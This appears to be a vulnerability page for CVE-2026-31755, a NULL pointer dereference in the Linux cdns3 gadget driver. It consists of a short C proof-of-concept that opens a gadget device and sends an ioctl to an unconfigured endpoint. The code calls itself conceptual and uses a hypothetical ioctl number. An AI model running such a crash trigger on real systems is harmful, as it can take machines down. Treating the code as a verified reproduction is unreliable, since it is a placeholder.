CVE-2026-31755 Linux内核空指针解引用漏洞

/* * PoC for CVE-2026-31755 * This is a conceptual representation of triggering the NULL pointer dereference. * It requires a system with the vulnerable cdns3 gadget driver loaded. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #define GADGET_IOCTL_QUEUE 0x1 // Hypothetical IOCTL number for queueing int main() { // Open the gadget device node int fd = open("/dev/cdns3-gadget", O_RDWR); if (fd < 0) { perror("Failed to open device"); return -1; } printf("Attempting to trigger ep_queue on unconfigured endpoint...\n"); // Perform an operation that triggers __cdns3_gadget_ep_queue // In a real scenario, this might be an ioctl or a write operation // when the endpoint is disabled (ep->desc == NULL). char data[32] = "trigger_data"; int ret = ioctl(fd, GADGET_IOCTL_QUEUE, data); if (ret < 0) { perror("Ioctl failed (expected if patched)"); } else { printf("Operation succeeded (vulnerable or endpoint active)\n"); } close(fd); return 0; }